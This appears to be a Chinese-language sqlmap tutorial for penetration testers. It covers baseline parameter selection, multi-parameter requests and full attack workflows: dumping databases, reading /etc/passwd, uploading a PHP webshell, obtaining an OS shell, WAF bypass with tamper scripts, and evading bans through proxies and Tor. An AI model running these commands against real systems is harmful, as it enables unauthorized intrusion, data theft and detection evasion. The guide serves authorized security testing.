sqlmap 最佳实战指南
sqlmap 最佳实战指南
一、引言
SQL 注入是 Web 安全领域最古老且危害最严重的漏洞之一。在渗透测试和漏洞评估中,手工挖掘 SQL 注入不仅耗时,而且容易遗漏复杂场景。sqlmap 作为一款开源的自动化 SQL 注入工具,凭借其强大的检测能力、丰富的利用功能和灵活的扩展性,成为安全从业者的必备武器。
本文将从实战角度出发,系统介绍 sqlmap 的核心用法、高级技巧以及真实场景下的应用策略,并重点说明测试参数的选择这一关键环节——因为只有传入“合格”的参数值,sqlmap 才能准确判断注入是否存在。同时,针对多参数场景提供完整处理方案,帮助读者在复杂业务接口中高效完成注入测试。
二、安装与基本使用
2.1 环境要求
- 3.x(推荐使用 Python 3)
2.2 快速安装
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
2.3 基本命令格式
python sqlmap.py -u "http://target.com/page?id=1"
-u:指定目标 URL- 首次执行会进入交互式选择,通常直接加
--batch可自动选择默认选项
三、测试参数值的选择(核心要点)
这是使用 sqlmap 最容易被忽略,却直接影响检测准确性的关键一步。 如果传入的参数值导致页面返回空结果或异常,sqlmap 可能难以区分“无数据”与“注入防御”,从而造成漏报或误报。
3.1 sqlmap 的检测机制回顾
sqlmap 在检测注入点时,会向目标参数注入各种 payload,并将响应与原始请求的响应进行对比。它的判断依据主要包括:
- 内容差异:页面中是否出现了预期外的字符串、是否缺少了原始内容、是否返回了错误信息。
- 时间延迟:注入的 payload 中如果包含
SLEEP()等延时函数,sqlmap 会测量响应时间。 - 布尔盲注:通过构造逻辑条件(如
AND 1=1和AND 1=2),观察响应是否变化。 - 报错注入:根据数据库返回的显式错误信息判断。
关键前提:原始请求的响应必须是一个稳定、有代表性的基准,sqlmap 才能准确对比。如果原始请求本身就没有返回任何数据(例如查询结果为空),那么后续所有 payload 的响应可能与原始响应没有显著差异,导致检测失败。
3.2 什么样的参数值是“合格”的?
✅ 合格参数值的要求
- 能返回正常的数据内容:确保参数对应的查询在数据库中有记录,页面展示非空列表或详情。
- 响应稳定:不会因其他因素(如登录态、时间限制)而频繁变化。
- 与目标业务逻辑一致:例如 ID 参数使用 1、2、3 等存在的值;搜索关键词使用系统中一定存在的词(如“admin”、“test”)。
❌ 不合格参数值示例
- ID 不存在:例如
id=999999,页面返回“记录不存在”或空白的列表。 - 关键词无匹配结果:搜索一个根本不会出现的词,页面显示“未找到相关结果”。
- 参数值导致异常:如传入超长字符、特殊符号导致应用报错(但这有时也可作为注入的线索,但不应作为基准)。
实战中的选择建议
| 参数类型 | 推荐值 | 原因 |
|---|---|---|
| 数字型 ID | 1, 2, 100 等存在的 ID | 确保页面显示完整记录 |
| 字符串型参数(如用户名) | 已知存在的用户名 | 保证能匹配到数据 |
| 搜索框 | 使用站内常见的、一定会产生结果的词(如“a”、“1”、“热门”) | 确保搜索结果非空 |
| 分页参数 | 选择有数据的分页(如 page=1) | 避免空页 |
| 日期参数 | 选择有数据的日期范围 | 同上 |
3.3 多参数场景的处理策略
在实际业务中,一个接口往往包含多个参数(如搜索接口同时包含关键词、分类、状态等)。如果只传递了部分参数而遗漏其他,可能导致:
- 请求不完整:服务端可能返回错误或默认页面,改变基准响应。
- 注入点遗漏:未被传递的参数不会被 sqlmap 测试,从而漏掉可能的注入点。
- 检测逻辑混乱:某些参数缺失可能导致后端 SQL 语句结构变化,使得原本存在的注入无法被触发。
因此,当目标接口存在多个参数时,必须构造一个完整且有效的请求作为测试基准。具体策略如下:
3.3.1 获取完整请求(推荐)
最可靠的方式是通过浏览器或 Burp Suite 抓取一次正常请求,保存为文件(如 request.txt),然后使用 -r 参数导入。sqlmap 会自动解析所有参数(GET/POST/Cookie)并进行测试。
python sqlmap.py -r request.txt --batch
3.3.2 手动构造完整参数
若无法抓包,可通过观察业务逻辑手动补全所有参数。例如,一个商品搜索接口可能包含:
GET /search?keyword=手机&category=1&status=on_sale&page=1
你需要确保每个参数都赋予一个能返回正常结果的有效值。对于可选参数,可尝试使用默认值(如 page=1)或常用值(如 status=all),但务必验证该组合能返回预期页面。
3.3.3 使用 --data 指定完整 POST 参数
对于 POST 请求,使用 --data 参数将所有字段完整列出:
python sqlmap.py -u "http://target.com/search" --data="keyword=手机&category=1&status=on_sale&page=1" --batch
3.3.4 处理复杂参数(如 JSON、数组)
如果参数结构为 JSON 或重复键名(如 id[]=1&id[]=2),sqlmap 可能无法自动识别。此时建议使用 -r 导入原始请求,或通过 --skip 排除无法处理的参数,再手动构造。
3.3.5 忽略无关参数
若某些参数对业务无影响(如时间戳、随机数),可以使用 --skip 参数跳过测试,避免干扰:
--skip="timestamp,nonce"
3.3.6 提高检测级别覆盖更多参数
使用 --level 参数可以让 sqlmap 尝试更多的参数位置(如 Cookie、User-Agent 等),但对于显式传递的多个参数,默认 --level=1 已足够覆盖。若担心遗漏,可适度提高。
3.4 如果无法获取有数据的值怎么办?
在某些情况下,我们无法获知有效的参数值(例如未公开的 ID),或者参数本身设计为即使无效值也会返回相同页面(如某些 API 返回默认结构)。此时可以采取以下策略:
3.4.1 使用 --not-string 自定义判断条件
如果原始响应包含固定的“无数据”标识(如“No result”),我们可以告知 sqlmap 将该字符串视为否定标识,即当 payload 导致该字符串消失时认为注入成功。
--not-string="No result"
3.4.2 使用 --text-only 或 --regexp 精确比较
--text-only:仅对比响应文本(去除 HTML 标签),减少噪音。--regexp="正则":指定正则表达式匹配注入成功的标志。
3.4.3 依赖时间盲注
如果页面响应没有内容差异,但可以通过时间延迟检测,sqlmap 的 --time-sec 参数可以辅助。确保原始请求的响应时间稳定,设置合理的延时阈值。
3.4.4 结合 --level 提高检测深度
提高检测级别后,sqlmap 会尝试更多位置的注入(如 Cookie、User-Agent),并尝试更多 payload,有时能绕过内容差异的局限性。
3.5 实操示例
场景一:单参数 ID 存在时的正常检测
# 假设 id=1 能正常显示文章详情
python sqlmap.py -u "http://target.com/article?id=1" --batch
场景二:多参数搜索接口(完整请求)
# 从 Burp 保存的请求文件
python sqlmap.py -r search_request.txt --batch
场景三:手动构造多参数 GET 请求
python sqlmap.py -u "http://target.com/search?keyword=手机&category=1&status=on_sale&page=1" --batch
场景四:参数无效时使用 --not-string 检测
# 原始响应包含 "No results found"
python sqlmap.py -u "http://target.com/search?keyword=empty" --not-string="No results found" --batch
3.6 为何不能随意传一个无效值?
很多人习惯直接复制 URL 中的参数值(如 id=1),但有时该值并不存在。若盲目使用,可能导致:
- 漏报:注入 payload 和原始响应均为空,sqlmap 无法发现内容差异。
- 误报:某些 payload 可能因导致服务器错误而产生与原始响应不同的内容,但实际并非 SQL 注入。
- 效率低下:大量 payload 尝试后仍无法确定,浪费时间和带宽。
因此,测试前花几秒钟确认参数值的有效性,并确保多参数场景下请求完整,能极大提升扫描的准确性和效率。
四、核心功能详解
4.1 目标指定方式
除了直接使用 -u,sqlmap 支持多种目标输入方式:
| 方式 | 参数 | 示例 |
|---|---|---|
| 单个 URL | -u |
-u "http://example.com/?id=1" |
| 文件批量扫描 | -m |
-m urls.txt |
| 从 Burp 日志导入 | -l |
-l burp.log |
| 从文件读取请求 | -r |
-r request.txt |
| 指定 Google 搜索 | -g |
-g "inurl:?id=" |
4.2 请求配置
实际测试中往往需要携带 Cookie、自定义头部或代理:
# 携带 Cookie
--cookie="PHPSESSID=abc123; security=low"
# 自定义 User-Agent
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
# 使用代理(绕过 IP 限制或隐藏身份)
--proxy="http://127.0.0.1:8080"
# 指定 HTTP 方法(默认 GET)
--data="username=admin&password=123" # POST 请求
# 增加随机延迟,避免触发 WAF
--delay=1
4.3 检测级别与风险
--level:检测深度,范围 1~5,默认 1。级别越高测试的 payload 越多,例如会尝试User-Agent、Referer等头部注入。--risk:风险等级,范围 1~3,默认 1。等级越高可能使用更多“危险”的 payload(如OR 1=1可能造成数据篡改)。
推荐:内网或授权测试时可将 --level=3 --risk=2;线上环境谨慎使用高风险等级。
4.4 数据库指纹识别
python sqlmap.py -u "http://target.com/?id=1" --banner
--banner 可获取数据库版本信息,快速识别数据库类型。
4.5 数据提取
获取数据库结构及数据是 sqlmap 的强项:
# 列出所有数据库
--dbs
# 列出当前数据库
--current-db
# 列出指定数据库的所有表
-D dbname --tables
# 列出指定表的列
-D dbname -T tablename --columns
# 导出表数据
-D dbname -T tablename --dump
# 导出所有数据库数据(谨慎,数据量巨大)
--dump-all
4.6 高级利用
当确认注入点后,可以利用注入执行更深入的操作:
| 功能 | 参数 | 说明 |
|---|---|---|
| 文件读取 | --file-read |
读取服务器文件,如 --file-read="/etc/passwd" |
| 文件写入 | --file-write --file-dest |
上传 WebShell,例如 --file-write shell.php --file-dest=/var/www/html/shell.php |
| 命令执行 | --os-shell |
获得系统 shell(需要数据库有相应权限) |
| 命令执行(UDF) | --os-cmd |
执行单条系统命令 |
| 获取交互式 SQL Shell | --sql-shell |
执行自定义 SQL 语句 |
4.7 优化与绕过
4.7.1 性能优化
--threads=10:设置多线程,加快扫描速度(注意可能影响稳定性和 WAF 检测)。--time-sec:设置延时响应判断的时间阈值。--batch:自动选择默认选项,减少交互。
4.7.2 WAF 绕过
--tamper:使用脚本绕过 WAF,例如--tamper=space2comment,between,charencode。space2comment:将空格替换为/**/。between:将>替换为BETWEEN等。
--random-agent:随机 User-Agent。--proxy+ 代理池。
五、实战案例
5.1 场景一:简单 GET 注入点检测与数据获取
目标:http://test.com/news?id=1
操作:
# 检测是否存在注入
python sqlmap.py -u "http://test.com/news?id=1" --batch
# 获取数据库列表
python sqlmap.py -u "http://test.com/news?id=1" --dbs
# 获取当前数据库的表
python sqlmap.py -u "http://test.com/news?id=1" -D current_db --tables
# 导出 user 表数据
python sqlmap.py -u "http://test.com/news?id=1" -D current_db -T user --dump
5.2 场景二:POST 登录框注入
目标:登录页面,表单提交用户名和密码
操作:
# 使用 -r 指定抓取的请求文件(Burp 截获的 POST 请求)
python sqlmap.py -r login.req --batch
# 或直接指定 data 参数
python sqlmap.py -u "http://test.com/login.php" --data="user=admin&pass=123" --batch
5.3 场景三:需要身份认证的复杂请求
目标:后台管理页面,需要登录态和 CSRF Token
操作:
# 准备 request.txt(包含完整 Cookie、Header)
python sqlmap.py -r request.txt --level=3 --risk=2
若 Token 需要从页面动态获取,可使用 --csrf-token 参数指定 token 参数名,sqlmap 会自动处理。
5.4 场景四:使用 --sqlmap-shell 交互式探索
当不确定下一步操作时,可进入交互式 shell:
python sqlmap.py -u "http://test.com/news?id=1" --sqlmap-shell
进入后可直接输入命令,如 dbs、tables 等,方便快速探索。
5.5 场景五:结合 Burp Suite 捕获请求
- 在 Burp 中拦截请求,右键 → Save item → 保存为文件。
- 使用
-r导入,sqlmap 会保留原始请求的所有细节(Cookie、Header、参数顺序等)。
5.6 场景六:绕过 WAF 实战
目标:某站存在 SQL 注入,但 WAF 拦截常见 payload
操作:
python sqlmap.py -u "http://target.com/?id=1" --tamper=space2comment,charencode --random-agent --proxy=http://127.0.0.1:8080
结合 Burp 观察请求是否被拦截,若仍被拦截可尝试更多 tamper 脚本组合(位于 tamper/ 目录)。
5.7 场景七:多参数接口完整测试
目标:搜索接口,包含 keyword、category、status、page 四个参数
操作:
# 方式一:使用 -r 导入完整请求
python sqlmap.py -r search_full.req --batch
# 方式二:手动构造完整 URL
python sqlmap.py -u "http://test.com/search?keyword=手机&category=1&status=on_sale&page=1" --batch
六、最佳实践与注意事项
6.1 合法授权
严格遵守法律法规:只有在获得明确授权的情况下,才能对目标进行渗透测试。未经授权使用 sqlmap 攻击他人系统属于违法行为。
6.2 日志与记录
- 使用
--output-dir指定结果保存目录,便于后续分析和报告编写。 - 对于重要数据提取,建议分阶段进行,避免一次导出全部数据导致网络堵塞或被监测。
6.3 性能与稳定性
- 线上环境测试时,建议使用
--delay=1或更高,避免大量并发请求导致业务中断。 --time-sec默认 5 秒,可根据网络状况调整,避免误判。- 使用
--threads时不宜过大(一般 5~10),否则可能触发服务器防火墙。
6.4 规避风险
- 使用
--safe-url和--safe-freq参数,在测试间隙访问安全页面,避免触发频率限制。 - 若遇到 IP 封禁,可通过
--proxy切换代理,或使用--tor配合 Tor 网络。
6.5 常见问题排查
- 目标无响应:检查网络、代理配置,尝试增加
--timeout。 - 无法检测注入:提高
--level和--risk,或尝试手动分析注入点后再指定参数。同时检查参数值是否有效,必要时使用--not-string辅助。 - 数据库权限不足:某些功能(如
--os-shell)需要 DBA 权限,若无法执行可尝试其他利用方式。 - 多参数场景下遗漏参数:确保请求完整,使用
-r导入抓包文件是最稳妥的方法。

浙公网安备 33010602011771号